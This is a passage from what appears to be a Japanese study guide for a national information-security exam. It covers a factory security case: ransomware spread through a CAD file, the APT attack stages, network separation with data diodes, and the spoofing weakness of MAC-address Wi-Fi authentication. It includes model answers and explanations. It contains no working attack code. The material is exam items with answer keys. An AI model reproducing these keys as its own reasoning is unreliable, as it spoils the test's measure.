誤りやすい点:ライブラリ,ミドルウェアは,コンテナ内のファイルであり,d や e に入るものではない(最後の発言で“e 内のライブラリ及びミドルウェア”とある)。レジストリ(コ)は,コンテナのイメージを保管する場所で,本文のどこにも使われていない。

出典:令和元年度 秋期 情報処理安全確保支援士試験 午後Ⅱ 問1(表記を一部改変)

問2 工場のセキュリティ

工場のセキュリティに関する次の記述を読んで,設問 1~7 に答えよ。

A 社は,車両や産業用機械で利用される金属部品の製造会社であり,本社オフィスに加えて 3 か所の工場(以下,本社オフィス及び各工場をそれぞれ事業所という)をもつ。本社オフィスには,営業部,財務部,総務部,システム部などの部門が配置されている。各工場はそれぞれが独立した部門である。A 社は,各事業所内及び事業所間を結ぶ基幹ネットワーク(以下,A-NET という)を整備している。A-NET はシステム部が管理し,社内の機器の多くが接続されている。

A 社は,全社共通のセキュリティ規程を定めており,各部門はこれに従って機器を管理しなければならない。A-NET の概要を図 1 に,A 社のセキュリティ規程を図 2 に示す。

A-NET の概要を示す構成図。凡例:FW はファイアウォール,L2SW はレイヤ 2 スイッチ,L3SW はレイヤ 3 スイッチ。本社オフィスの中に FW があり,FW はインターネットに接続されている。FW には,本社オフィス LAN の L2SW,DMZ の L2SW,全社サーバ LAN の L2SW,及び α 工場,β 工場,γ 工場の各 L3SW が,それぞれ接続されている。DMZ の L2SW には,(あ),外部 DNS サーバ,プロキシサーバ,外部メールサーバが接続されている。全社サーバ LAN の L2SW には,(い)と各種サーバが接続されている。各工場では L3SW の先に LAN(…)が続いている。注記 1:FW によって,各工場間での直接的な通信を禁止している。注記 2:各工場にはファイルサーバがあり,各工場の従業員が利用できる。
図1 A-NET の概要
1. A 社が従業員に貸与する PC(以下,標準 PC という)は,システム部が管理する。2. システム部は,標準 PC の仕様を定める。また,標準 PC について,セキュリティを維持するための措置を定める。この措置には,脆弱性修正プログラム(以下,パッチという)の適用及びマルウェア対策ソフトの導入が含まれる。3. 各部門は,業務に必要なソフトウェア(以下,業務用ソフトという)を調達し,標準 PC にインストールして利用することができる。ただし,その場合は,調達前にシステム部の許可を得る。また,当該部門は当該業務用ソフトを適切に管理する。4. システム部は,A-NET について,セキュリティ及びその他の不都合が生じないように管理・維持する責任と,そのための権限をもつ。(図 2 は次ページに続く)
図2 A 社のセキュリティ規程(抜粋)
5. 各部門は,標準 PC とは別の PC 及びその他の機器(以下,これらを併せて部門機器という)を調達し利用できる。6. 各部門は,専用のネットワーク(以下,部門 NET という)を構築し利用できる。7. 各部門は,部門機器又は部門 NET を A-NET に接続する場合,接続前にシステム部に申請し許可を得る。申請時には,次の事項を記した書面を提出する。・接続の目的。・接続に必要な技術情報(必要な IP アドレスの数,想定される通信量,その他システム部が別途定めるもの)。・管理者と連絡先。
図2 A 社のセキュリティ規程(抜粋)(続き)

先日,同業の B 社でセキュリティ事故が発生し,生産設備が数日停止した旨の記事が業界紙に掲載された。これまでのところ,A 社では,同様の被害が生じた事故は起きていないが,以前から,セキュリティ面を深く考慮せずに拡張してきた A-NET 及び部門 NET について抜本的な改善の必要性があるとの指摘が,システム管理を担う現場の技術者から出ている。

〔ランサムウェア感染〕

ある日,α 工場において,設計部の S さんが利用する標準 PC(以下,PC-S という)の動作が極端に遅くなり,かつ,一部のファイルが開けなくなる事象が発生した。S さんから連絡を受けたシステム部は,α 工場において部門機器や業務用ソフトを管理する D 主任と共同で,調査及び対処を行った。その内容を図 3 に示す。

1. システム部は,PC-S を A-NET から切断し回収した。2. 社内から社外への通信を中継するプロキシサーバに記録されたログから,PC-S が,正体不明の宛先(以下,サイト U という)に,<u>①User-Agent ヘッダフィールドの値が“curl/7.64.0”の HTTP リクエスト</u>を繰り返し送信していることが確認された。3. PC-S 上,及び PC-S がアクセス可能なファイルサーバ上のファイルのうち一部のファイルが暗号化されてしまい,幾つかの実行中のプロセスがエラーメッセージをログに出力していた。4. S さんへのヒアリングと PC-S 及びプロキシサーバに記録されたログの解析から,次のことが分かった。(1) S さんは,α 工場で使用している CAD ツール(以下,CAD-V という)の有償オプション機能の広告を電子メール(以下,メールという)で受信した。その本文に記載されていた URL リンクをクリックし,CAD-V 用のサンプルファイル(以下,ファイル T という)をダウンロードした。(2) S さんは,CAD-V を用いて,ファイル T を開いた。(3) すぐに,PC-S がサイト U に最初の通信を行った。(4) 30 分後,S さんは PC-S の異常に気付いた。(図 3 は次ページに続く)
図3 調査及び対処の内容
5. マルウェア対策ソフトのベンダにファイル T の解析を依頼したところ,ファイル T は,次の特徴をもつランサムウェアであることが分かった。(1) CAD-V の脆弱性を悪用し動作する。CAD-V でファイル T が開かれた場合,CAD-V を実行している利用者の権限で書込み可能なファイルのうち一部のファイルを暗号化する。また,サイト U にアクセスし,ランサムウェアが動作した機器の環境や暗号化の状況についての情報を登録する。(2) 攻撃者が遠隔操作を行うための機能はない。(3) 感染を拡大する機能はあるが,感染拡大に必要な一定の条件(以下,条件 V という)を満たす場合にだけ機能し,感染力は弱い。6. α 工場には条件 V を全て満たす機器はない。ただし,条件 V を一部満たす機器は存在し,PC-S から 5 台の機器への感染拡大の試行の痕跡が見つかった。7. CAD-V の脆弱性情報及びその対策である [ a ] は CAD-V の開発元によって公開されていたが,α 工場はそれらの情報を得ていなかった。8. マルウェア対策ソフトのベンダから,ファイル T の検知ツールを入手し,社内のほかの全 PC を検査した。その結果,PC-S 以外に感染はなかった。9. 前項までの状況から,次の実施をもって本件の対処を終えることにした。(1) PC-S は [ b ] する。(2) ファイルサーバ上の暗号化されてしまったファイルはバックアップから復元する。(3) PC-S に,業務用ソフトをインストールする。(4) PC-S 上に必要なファイルは,バックアップから復元する。(5) CAD-V がインストールされた全ての PC について,CAD-V の開発元が公開した脆弱性対策を実施する。(6) ファイル T を配布していた Web サイト,及び [ c ] に対する社内からのアクセスを FW によって遮断する。(7) 全従業員に対して,次の事項についての通知及び注意喚起を行う。A) ランサムウェアの感染があったこと(CAD-V の名称,バージョン情報を含む)。B) 広告などに偽装したメールを用いて攻撃が行われる場合があること。C) インターネットからダウンロードしたファイルは危険であること。(8) PC-S を S さんに返却し,S さんが PC-S の利用を再開する。
図3 調査及び対処の内容(続き)

図 3 中の 6 について,感染拡大の試行の痕跡が見つかったのは,いずれも生産設備を制御するための専用 PC(以下,FA 端末という)だった。FA 端末は,α 工場が管理する部門機器として A-NET への接続が許可されていた。FA 端末には,パッチの適用やマルウェア対策ソフトの導入などの,セキュリティを維持するための措置が施されていなかった。D 主任によると,FA 端末は標準 PC ではないので,セキュリティ規程で定められた標準 PC に対する措置は適用対象外と理解しているとのことであった。また,FA 端末は,汎用 OS を用いた PC であるが,FA 端末及び生産設備の製造ベンダ Y 社の指定する方法で利用しなければならない。Y 社の許可を得ずにパッチを適用したり,他社のソフトウェアを FA 端末にインストールしたりした場合は,FA 端末及び関係する生産設備の動作が保証されなくなるとのことであった。

〔見直し実施の方針〕

今回のランサムウェア感染では,生産設備の停止などの重大な事態に陥ることはなかった。しかし,A 社の経営陣は,実害があったこと,生産設備に影響する可能性があったこと,及び B 社でセキュリティ事故があったことを踏まえ,工場のセキュリティについて抜本的な見直しを行う方針を決定した。

経営陣は,システム部の M 部長をこの抜本的な見直しのプロジェクト(以下,プロジェクト W という)の責任者に任命した。プロジェクト W は,サイバー攻撃などによる生産設備の停止を防ぐことを目的とし,必要な施策を検討して実施する。例えば,A-NET で障害が発生しても生産設備の稼働を維持できるようにする。

〔プロジェクト W の進め方〕

M 部長は,まず,α 工場の課題を調査して,必要な措置を検討し,ほかの工場は,α 工場の結果を基に,進め方を検討することにした。

M 部長は,システム部の C さんをプロジェクト W の担当者に指名した。また,情報セキュリティの知見が少ない A 社の現状を踏まえ,セキュリティコンサルティングサービスを提供する E 社の支援を受けることにした。

次は,C さんと,E 社の情報処理安全確保支援士(登録セキスペ)の F 氏との会話である。

APT 攻撃の典型的なステップの表。列は番号,ステップ,攻撃者の活動。1 偵察:攻撃者は,攻撃対象とする組織(以下,ターゲット組織という)を調査する。ターゲット組織の Web サイト,従業員のメールアドレスや社会的関係などを調べる。2 武器化:攻撃者は,攻撃に用いる武器を準備する。ターゲット組織に合わせて,遠隔操作機能をもつマルウェアを作成する。侵入を成功させるために,正常な [ d ] に偽装した“おとりファイル”を作成する場合もある。3 配送:攻撃者は,作成したマルウェアをターゲット組織に配送する。例えば,マルウェアを添付したメールを特定の従業員に送付する。4 エクスプロイト:攻撃者は,ターゲット組織内の機器でマルウェアを実行させる。例えば,OS やアプリケーションプログラムの脆弱性を悪用してマルウェアを実行させる。5 インストール:攻撃者は,ターゲット組織の機器にマルウェアをインストールする。当該機器に [ e ] を設置することによって,長期にわたり侵入を継続できるようにする場合もある。6 コマンドとコントロール:マルウェアは,インターネット上に設置された攻撃者のサーバと通信して,[ f ] を受け取り,それに従って動作する。7 目的の実行:攻撃者は,攻撃の目的を果たすための活動を開始する。データの窃取,破壊,改ざんなどを行う。侵入された機器を踏み台とし,侵入を拡大するための活動を行う場合もある。
表1 APT 攻撃の典型的なステップ

〔調査結果〕

C さんは,F 氏の支援の下,α 工場の課題を調査した。α 工場のネットワークの概要を図 4 に示す。

α 工場のネットワークの概要を示す構成図。AP は無線 LAN アクセスポイントである。本社オフィスが,α 工場の L3SW に接続されている。L3SW には,サーバ LAN の L2SW と,工場 LAN の L2SW が接続されている。サーバ LAN では L2SW に業務サーバ(複数台)が接続されている。工場 LAN の L2SW は A 棟(複数棟)内の L2SW に接続され,その L2SW に標準 PC,プリンタ,FA 端末,AP(それぞれ複数台)が接続されている。AP には無線で機器が接続される。注記 1:サーバ LAN 及び工場 LAN は A-NET の一部である。ただし,FA 端末は部門機器である。注記 2:サーバ LAN は,α 工場内だけで利用するサーバを接続するためのネットワークである。注記 3:FA 端末には生産設備が接続されている。当該生産設備の記載は省略している。注記 4:AP は,主に,出張で α 工場を訪れた他事業所の従業員の標準 PC の接続に使用する。注記 5:α 工場には A-NET に接続していない部門 NET がある。その記載は省略している。
図4 α 工場のネットワークの概要

調査によって発見された主要な課題を次に示す。

C さんと F 氏は,システム部及び α 工場の関係者に,発見された課題がもたらすリスクを説明し,解決の必要性について理解を得た。その上で,課題の解決に向けて検討を開始した。

〔課題 1 の解決〕

D 主任によると,FA 端末を A-NET に接続していたのは,次の二つの目的のためである。

C さんと F 氏は D 主任と協議を重ね,ネットワーク構成を見直すことで課題 1 の解決を図ることにした。見直し案における α 工場のネットワークを表 2 及び図 5 に示す。

見直し案における α 工場の各ネットワークの表。列は名称,説明。事務 LAN:事務などのデスクワークに利用するネットワークであり,A-NET の一部として管理する。主に標準 PC やプリンタを接続する。AP を設置する。許可を受けた機器は無線で接続できる。F-NET:α 工場において,FA 端末,プリンタ,その他の生産設備に関係する機器だけを接続する部門 NET である。F-NET と A-NET の接続の有無及び接続する場合の形態は別途検討する。センサ NET:α 工場では,一部の生産設備に IoT センサ(以下,センサという)を取り付けて,設備の監視などに役立てる実証実験をクラウドサービス事業者の Z 社と進めている。センサ NET をこのための部門 NET として新設する。センサが収集したデータは,センサ NET 経由で,Z 社のクラウドサービスに登録する。α 工場の担当者は,Z 社のクラウドサービスにアクセスし,設備の状況を把握できる。センサの不具合が生産設備に直接影響を与えることはない。
表2 見直し案における α 工場の各ネットワーク(抜粋)
見直し案における α 工場のネットワークの構成図。本社オフィスが α 工場の L3SW に接続され,本社オフィスはインターネットにも接続されている。インターネットには Z 社のクラウドサービスと,FW が接続されている。L3SW には,サーバ LAN の L2SW,及び事務 LAN の L2SW が接続されている。サーバ LAN では L2SW に業務サーバ(複数台)と(う)が接続されている。事務 LAN の L2SW には(え)が接続され,A 棟(複数棟)内の L2SW に標準 PC,プリンタ,AP(それぞれ複数台)が接続されている。F-NET には L2SW があり,(お)が接続され,A 棟(複数棟)内の L2SW に FA 端末,プリンタ(それぞれ複数台)が接続されている。センサ NET には,FW に接続された L2SW があり,(か)が接続され,A 棟(複数棟)内の L2SW に AP とセンサ(それぞれ複数台)が接続され,AP とセンサは無線で通信する。注記 1:FA 端末には生産設備が接続されている。当該生産設備の記載は省略している。注記 2:FA 端末から業務サーバにデータを転送する仕組みは検討中である。注記 3:一部の部門 NET の記載は省略している。
図5 見直し案における α 工場のネットワーク

FA 端末から業務サーバにデータを安全に転送するための仕組みの候補を表 3 に,それぞれの仕組みについての評価結果を表 4 に示す。

FA 端末から業務サーバにデータを安全に転送するための仕組みの候補の表。列は名称,説明。FW 方式:F-NET と L3SW の間にステートフルパケットインスペクション型 FW を設置し,F-NET 側から A-NET 側へのアクセス及びこの応答に相当する通信だけを中継する。A-NET 側から F-NET 側にアクセスする通信は全て遮断する。データは,スクリプトを用いて,自動的に業務サーバに転送し登録する。USB メモリ方式:F-NET と A-NET は物理的に接続せず,USB メモリを用いてデータを転送する。担当者は,必要時に,USB メモリを FA 端末に接続してデータを書き込んだ後,USB メモリを FA 端末から取り外す。その後,A-NET に接続した標準 PC にこの USB メモリを接続し,書き込んだデータを取り出して業務サーバに登録する。中継用 PC 方式:事務 LAN と F-NET の間にデータ転送用の PC(以下,中継用 PC という)を設置し,中継用 PC を用いてデータを転送する。担当者は,必要時に,FA 端末を操作し,データを F-NET 側から中継用 PC の内蔵ストレージにコピーする。その後,中継用 PC にリモートログインし,中継用 PC を操作してデータを業務サーバに登録する。中継用 PC は,接続した両ネットワーク間でパケットを転送する機能をもたない。データダイオード方式:データダイオードは,二つの接続点間において,片方向だけデータを転送する機能をもつネットワーク機器である。F-NET と L3SW に接続し,F-NET 側から A-NET 側へのデータの転送を許可し,逆方向は全ての通信を遮断する。データダイオードの実装例として,機器内部に光通信を行う部位を設け,データが片方向しか流れないことを物理的に保証するものがある。また,一部の通信プロトコルについて,通信をエミュレートする機能(注 1)をもち,あたかも二つのネットワークが接続しているように見せることができる。データは,スクリプトを用いて,自動的に業務サーバに転送し登録する。注 1):通信プロトコルに従いデータが双方向に流れているように偽装するが,一方向への情報転送は完全に遮断する機能のこと。
表3 FA 端末から業務サーバにデータを安全に転送するための仕組みの候補(概要)
それぞれの仕組みについての評価結果の表。列は方式,運用時の人的作業負荷,データ転送の即時性,セキュリティ(マルウェア感染)(注 1)。FW 方式:運用時の人的作業負荷は○,データ転送の即時性とセキュリティ(マルウェア感染)は 1 つにまとめた欄で [ i ]。USB メモリ方式:×,△,△。中継用 PC 方式:運用時の人的作業負荷は△,データ転送の即時性とセキュリティ(マルウェア感染)は 1 つにまとめた欄で [ j ]。データダイオード方式:○,データ転送の即時性とセキュリティ(マルウェア感染)は 1 つにまとめた欄で [ k ]。注記:各評価項目を 3 段階で評価。より好ましい特徴をもつものから順に“○”,“△”,“×”とする。ここで,明らかに解決すべき重大な問題があると考えられるものは“×”とする。注 1):F-NET に接続された機器が,A-NET 経由でマルウェアに感染するリスクを評価する。
表4 それぞれの仕組みについての評価結果(抜粋)

C さんと D 主任は,評価の結果,方式を一つ選択した。

また,逆方向の A-NET 側から FA 端末へのデータ転送は,USB メモリを利用して行うことにした。α 工場の F-NET 管理担当者は,A-NET に接続した標準 PC に USB メモリを接続して必要なデータをコピーし,その後,②その USB メモリを FA 端末に接続してデータの更新などの作業を行う。FA 端末のメンテナンスの場合,データの更新を Y 社が行う場合もある。その場合,Y 社の担当者は,メンテナンスデータを格納した USB メモリを持参し,α 工場の F-NET 管理担当者の監督の下,③その USB メモリを FA 端末に接続して作業する。

〔課題 2 の解決〕

課題 2 の解決のため,今後は,AP での機器の認証方式として,WPA2 エンタープライズ方式を採用することにした。同方式において必要となる認証サーバは,事務 LAN 用とセンサ NET 用をそれぞれ設置する。このうち,前者は全社で共用のサーバとし,システム部が管理する。後者は α 工場が管理する。

〔課題 3 の解決〕

C さんは,M 部長と相談し,今後は,システム部が工場内で使われる機器について脆弱性管理を指導することにした。具体的には,システム部が脆弱性管理のプロセスを規定し,各部門に順守してもらうことにした。C さんが考えた脆弱性管理のプロセスの案を表 5 に示す。

脆弱性管理のプロセスの案の表。列は番号,プロセス,内容。1 情報収集:利用しているハードウェア及びソフトウェアについて脆弱性情報を入手する。2 深刻度評価:入手した脆弱性情報について<u>④その時点での自社にとっての深刻度</u>を評価する。3 措置の実施:深刻度評価の結果に従い,<u>⑤適切と考えられる措置</u>を実施する。4 状況管理:(省略)。(下線④は 2 の内容の一部,下線⑤は 3 の内容の一部に付いている)
表5 脆弱性管理のプロセスの案

脆弱性管理のプロセスは,将来,A 社のセキュリティ規程に取り入れる。

〔セキュリティ規程の見直し〕

α 工場の調査によって複数の課題が見つかったことから,現行のセキュリティ規程には改善すべき点があると考えられた。M 部長は,セキュリティ規程の改定の検討を C さんに指示した。

C さんは,これまで FA 端末を A-NET に接続してきた経緯を踏まえ,セキュリティ規程に次の項目を追加することを考えた。

C さんが項目の追加について F 氏に相談したところ,F 氏は,追加する項目に合わせて,図 2 中の 7 について⑥申請時に書面に記す事項を追加することを提案した。

また,C さんは,AP への接続制限の方法,及び業務用ソフトの脆弱性管理に不備があったことを考慮し,セキュリティに関わる施策の実施状況及びその効果を定期的に見直すプロセスをセキュリティ規程に明記することを考えた。

C さんは,セキュリティ規程の修正案を作成し,M 部長に提示した。M 部長は修正案を経営会議に提出し承認を得た。

〔施策の実施〕

課題の解決のために検討された施策が実施され,大きな効果が得られた。そこで,α 工場以外の工場についても調査が開始された。

出題趣旨(IPA)

産業用制御システムなどのOTのシステムとITのシステムは分離すべきと言われている。しかし,実際には,中規模,又は大規模な工場であっても,OT用とIT用のネットワークが分離されていないケースが多く見られる。本問では,OTとITが混在する環境の課題を示し,それぞれの目的を念頭に置きながら,課題解決のための案を検討する。インシデント対応,APT攻撃の概念モデル,ネットワーク分離,無線アクセス認証,セキュリティ規程など,幅広い分野についての実践的な知識と,目的・条件に合わせて様々な技術を組み合わせ,課題を解決する能力を問う。

採点講評(問全体・IPA)

問2では,OTとITが混在する環境でのセキュリティ対策について出題した。

設問と解答例

設問1(1) 50字以内

図 3 中の下線①について,ログに記録された User-Agent ヘッダフィールドの値からはマルウェアによる通信であると判定するのが難しいケースがある。それはどのようなケースか。50 字以内で述べよ。

解答例

  • User-Agentヘッダフィールドの値がA社で利用しているWebブラウザを示す値であるケース
解説

本文の根拠

図3 2

PC-S が,正体不明の宛先(以下,サイト U という)に,①User-Agent ヘッダフィールドの値が“curl/7.64.0”の HTTP リクエストを繰り返し送信していることが確認された。

図3 4(1)

S さんは,α 工場で使用している CAD ツール(以下,CAD-V という)の有償オプション機能の広告を電子メール(以下,メールという)で受信した。

ログに User-Agent の値が curl のものとして残っていれば,Web ブラウザではないプログラムが送った通信だと疑える。今回はそのため見つけられた。ただし User-Agent は,リクエストを送るクライアント側が付ける値であり,利用者の Web ブラウザの名前に見せかけることもできる。

そこで,マルウェアが A 社で利用している Web ブラウザと同じ値を User-Agent に入れていると,通常の業務で使う Web ブラウザの通信と区別できない。ログを見て判定するのが難しいのは,この User-Agent の値が A 社で利用している Web ブラウザを示す値であるケースである。解答例もこの趣旨である。

50 字以内なので,“User-Agent の値”と“A 社で利用している Web ブラウザを示す”の 2 点を書く。解答例は 47 字である。

採点講評(IPA)

設問1(1)は,正答率が低かった。社内に侵入したマルウェアを発見する手法の一つとして,社外と交換されるHTTPメッセージを監視するという手法がある。HTTPメッセージの構造,ヘッダフィールドなどについての理解を深めてほしい。

設問1(2) 解答欄1つ

図 3 中の a に入れる適切な字句を,解答群の中から選び,記号で答えよ。 解答群 ア 共通脆弱性識別子 イ コモンクライテリア ウ ディジタル証明書 エ パッチ オ ファイル復号鍵

〔a〕解答例

  • エ
解説

本文の根拠

図3 7

CAD-V の脆弱性情報及びその対策である a は CAD-V の開発元によって公開されていたが,α 工場はそれらの情報を得ていなかった。

図3 9(5)

CAD-V がインストールされた全ての PC について,CAD-V の開発元が公開した脆弱性対策を実施する。

図 3 の 7 は,CAD-V の脆弱性情報と,その対策である a を,開発元が公開していたと述べる。9(5) にも“開発元が公開した脆弱性対策を実施する”とあり,脆弱性の対策として開発元が公開するものは,脆弱性修正プログラムであるパッチ(エ)である。本文でも“脆弱性修正プログラム(以下,パッチという)”と定義されている。

誤りの選択肢:共通脆弱性識別子(ア)は脆弱性に付ける番号(CVE)で,情報ではあるが“対策”ではない。コモンクライテリア(イ)は製品のセキュリティ評価の規格である。ディジタル証明書(ウ)は身元の証明に使い,脆弱性の対策ではない。ファイル復号鍵(オ)は,ランサムウェアで暗号化されたファイルを元に戻す鍵であり,CAD-V の開発元が公開するものではない。

解答群から選ぶ設問なので,記号で答える。解答例は エ である。

設問1(3) 解答欄1つ

図 3 中の b に入れる適切な字句を,解答群の中から選び,記号で答えよ。 解答群 ア 初期化 イ 内蔵ストレージを USB メモリにコピー ウ 内蔵ストレージを暗号化 エ ネットワークから切断 オ メモリをダンプ

〔b〕解答例

  • ア
解説

本文の根拠

図3 9

前項までの状況から,次の実施をもって本件の対処を終えることにした。

図3 9(3),(4)

PC-S に,業務用ソフトをインストールする。

図3 9(4)

PC-S 上に必要なファイルは,バックアップから復元する。

9(1) の b の後に,9(3) で PC-S に業務用ソフトをインストールし,9(4) で必要なファイルをバックアップから復元している。これは,PC-S を一度まっさらな状態に戻してから,必要なものだけを入れ直す流れである。PC-S はランサムウェアに感染しており,他にマルウェアが残っているおそれがあるので,感染した状態のまま再利用せず,初期化(ア)する。

誤りの選択肢:内蔵ストレージを USB メモリにコピー(イ)すると,感染したファイルが USB メモリ経由で広がる。内蔵ストレージを暗号化(ウ)は,すでに暗号化被害を受けた PC の対処にならない。ネットワークから切断(エ)は,図 3 の 1 で既に行われている。メモリをダンプ(オ)は調査のための作業で,対処を終える段階の実施ではない。

設問1(4) 解答欄1つ

図 3 中の c に入れる適切な字句を,10 字以内で答えよ。

〔c〕解答例

  • サイトU
解説

本文の根拠

図3 2

PC-S が,正体不明の宛先(以下,サイト U という)に

図3 9(6)

ファイル T を配布していた Web サイト,及び c に対する社内からのアクセスを FW によって遮断する。

9(6) は,ファイル T を配布していた Web サイトと並べて,c への社内からのアクセスを FW で遮断する,というものである。ランサムウェアは動作したとき,機器の環境や暗号化の状況をサイト U に登録する通信を行う(図 3 の 5(1))。宛先であるサイト U への社内からの通信を FW で遮断すれば,別の感染端末が同じ登録を行うのを防げる。したがって c はサイト U である。

図 3 の 2 では,PC-S が“正体不明の宛先(以下,サイト U という)”に HTTP リクエストを送っていた。定義された名称を使うので,“サイトU”と書く。

10 字以内なので,“サイトU”(4 字)で足りる。解答例は“サイトU”である。

設問2(1) 解答欄3つ

表 1 中の d~f に入れる適切な字句を,解答群の中から選び,記号で答えよ。 解答群 ア APT イ IoT 端末 ウ 鍵ペア エ 検体のシグネチャ オ 攻撃者の指示 カ ドキュメント キ バックドア ク フィッシング ケ ランサムウェア

〔d〕解答例

  • カ

〔e〕解答例

  • キ

〔f〕解答例

  • オ
解説

本文の根拠

表1 番号2 武器化

侵入を成功させるために,正常な d に偽装した“おとりファイル”を作成する場合もある。

表1 番号5 インストール

当該機器に e を設置することによって,長期にわたり侵入を継続できるようにする場合もある。

表1 番号6 コマンドとコントロール

マルウェアは,インターネット上に設置された攻撃者のサーバと通信して,f を受け取り,それに従って動作する。

d は,“おとりファイル”が偽装する対象で,受け取った人が開いても不審に思わないドキュメント(カ)である。図 3 の 4(1) のように,CAD-V 用のサンプルファイルをダウンロードさせて開かせる手口もこれに当たる。e は,長期にわたり侵入を継続するために設置するもので,攻撃者がいつでも入れる経路を確保するバックドア(キ)である。f は,攻撃者のサーバと通信して受け取り,それに従って動作するもので,攻撃者の指示(オ)である。この通信を“コマンドとコントロール”と呼ぶ。

誤りの選択肢:APT(ア)は攻撃全体の名称で,攻撃者が作るファイルの種類ではない。IoT 端末(イ),ランサムウェア(ケ)は,d〜f のどれにも文脈が合わない。鍵ペア(ウ)は暗号・認証の鍵である。検体のシグネチャ(エ)は,マルウェア対策ソフトが検知に使う側のもので,攻撃者が偽装する対象ではない。フィッシング(ク)は,配送の手口であり,e や f に当たらない。

設問2(2) 解答欄3つ

次に挙げる活動は,表 1 中のどのステップに該当するか。該当するステップを,それぞれ表 1 中の番号で答えよ。 活動 1:SNS を調べて,ターゲット組織の従業員の専門性や趣味嗜好の情報を得る。 活動 2:ターゲット組織内のファイルサーバにアクセスし,ターゲット組織の秘密情報を盗む。 活動 3:マルウェアを組み込んだ USB メモリを,ターゲット組織の建物の入り口付近に置いておく。

〔活動1〕解答例

  • 1

〔活動2〕解答例

  • 7

〔活動3〕解答例

  • 3
解説

本文の根拠

表1 番号1 偵察

ターゲット組織の Web サイト,従業員のメールアドレスや社会的関係などを調べる。

表1 番号3 配送

攻撃者は,作成したマルウェアをターゲット組織に配送する。

表1 番号7 目的の実行

データの窃取,破壊,改ざんなどを行う。

活動 1 は,SNS を調べて従業員の専門性や趣味嗜好の情報を得る活動である。表 1 の番号 1 の偵察(ターゲット組織の従業員のメールアドレスや社会的関係などを調べる)に当たる。活動 2 は,ファイルサーバにアクセスして秘密情報を盗む活動で,番号 7 の目的の実行(データの窃取など)に当たる。活動 3 は,マルウェアを組み込んだ USB メモリを建物の入り口付近に置く活動で,マルウェアをターゲット組織に届ける番号 3 の配送に当たる。

番号の判断の手掛かりは,活動が“調べる”なのか,“届ける”なのか,“目的を果たす”なのかである。USB メモリを置く活動は,その時点ではマルウェアがまだ実行されていないので,エクスプロイト(4)やインストール(5)ではなく配送である。

解答例は 活動 1=1,活動 2=7,活動 3=3 である。

設問3 解答欄2つ

本文中の g,h に入れる適切な字句を,それぞれ 10 字以内で答えよ。

〔g〕解答例

  • 電波を傍受

〔h〕解答例

  • MACアドレス
解説

本文の根拠

課題 2

AP は,接続を許可する機器を MAC アドレス認証によって制限している。パスワードやディジタル証明書を利用した認証は行っていない。

課題 2

AP の近くから,攻撃者が g することで h を入手し,この値を使用することで容易に AP に接続できてしまう。

AP は MAC アドレス認証だけで接続を制限し,パスワードやディジタル証明書による認証をしていない。MAC アドレス認証は,許可した機器の MAC アドレスの一覧に載っていれば接続を許す方式である。攻撃者が AP の近くで電波を傍受(g)すると,通信に含まれる許可された機器の MAC アドレス(h)を知ることができる。その値を自分の機器に設定すれば,許可された機器になりすまして AP に接続できてしまう。

h は,“この値を使用することで容易に AP に接続”できる値なので,MAC アドレスである。g は,AP の近くから行う活動で,無線 LAN の電波を傍受する,となる。講評でも,MAC アドレス認証は認証技術として見ると明らかに欠点がある,とされている。

10 字以内なので,g は“電波を傍受”(5 字),h は“MACアドレス”(7 字)と書く。

採点講評(IPA)

設問3のgは,正答率が低かった。無線LANで利用される“MACアドレス認証”は,これを認証技術としてみると明らかに欠点がある。工場などでは無線LANが利用されることも多いと思われるが,採用する技術の利点や欠点,限界を正しく理解し,有効な技術を採用することに留意してほしい。

設問4(1) 25字以内

見直し案において,FA 端末が表 1 の APT 攻撃を受け,表 1 中の番号 5 のステップまでが成功したと想定した場合,番号 6 以降のステップでのデータダイオード方式のセキュリティ上の効果は何か。25 字以内で具体的に述べよ。

解答例

  • 攻撃者の操作指示がFA端末に伝えられない。
解説

本文の根拠

表1 番号6 コマンドとコントロール

マルウェアは,インターネット上に設置された攻撃者のサーバと通信して,f を受け取り,それに従って動作する。

表3 データダイオード方式

F-NET 側から A-NET 側へのデータの転送を許可し,逆方向は全ての通信を遮断する。

図5 注記

FA 端末には生産設備が接続されている。

番号 5 までが成功したとは,FA 端末にマルウェアが入り,バックドアなども設置された状態である。番号 6 では,マルウェアが攻撃者のサーバと通信して指示を受け取って動作する。データダイオード方式は,F-NET 側から A-NET 側への一方向のデータ転送だけを許可し,逆方向の通信は全て遮断する。攻撃者のサーバとの通信は,要求を送るだけでなく応答を受け取る双方向のやり取りが要るので,逆方向を遮断すれば成り立たない。

結果として,マルウェアは攻撃者からの操作指示を受け取れない。番号 7 の,侵入した FA 端末を踏み台にした攻撃の拡大や,データの窃取・破壊も指示がなければ進められない。

25 字以内なので,“攻撃者の操作指示”と“伝えられない”の 2 点に絞る。解答例は 21 字である。

設問4(2) 解答欄3つ

表 4 中の i~k に入れる適切なものを,解答群の中から選び,記号で答えよ。解答は重複してはならない。 解答群(列は データ転送の即時性,セキュリティ(マルウェア感染)) ア ○,○ イ ○,△ ウ △,×

〔i〕解答例

  • イ

〔j〕解答例

  • ウ

〔k〕解答例

  • ア
解説

本文の根拠

表4 注記

各評価項目を 3 段階で評価。より好ましい特徴をもつものから順に“○”,“△”,“×”とする。ここで,明らかに解決すべき重大な問題があると考えられるものは“×”とする。

表3 FW 方式

F-NET 側から A-NET 側へのアクセス及びこの応答に相当する通信だけを中継する。

表3 中継用 PC 方式

その後,中継用 PC にリモートログインし,中継用 PC を操作してデータを業務サーバに登録する。

三つの候補(FW 方式,中継用 PC 方式,データダイオード方式)の,データ転送の即時性とセキュリティ(マルウェア感染)の評価を,解答群のア(○,○),イ(○,△),ウ(△,×)に重複なく割り当てる。表 3 の説明を比べる。データダイオード方式と FW 方式は,どちらもスクリプトで自動的に業務サーバへ転送するので,即時性は○である。ただし FW 方式は F-NET から A-NET へのアクセスとその応答を中継するので,A-NET 側から F-NET への通信を全て遮断していても,F-NET 側が起点となる通信(アクセス)は通る。一方データダイオード方式は,逆方向の通信を物理的に遮断する。したがって,データダイオード方式はア(○,○),FW 方式はイ(○,△)になる。

中継用 PC 方式は,担当者が FA 端末を操作してデータをコピーし,中継用 PC にログインして業務サーバに登録するという手作業を挟むので,即時性は△である。さらに,中継用 PC は両ネットワークに接続し,A-NET 側からリモートログインで操作するので,マルウェアが入り込むと A-NET と F-NET の間をつなぐ経路になりうる。残ったウ(△,×)が割り当てられる。

選択肢が三つ・方式が三つで重複できないので,確実に分かる方式から割り当てて,残りを消去法で決める。USB メモリ方式は表の行がすでに埋まっている。

設問4(3) 30字以内

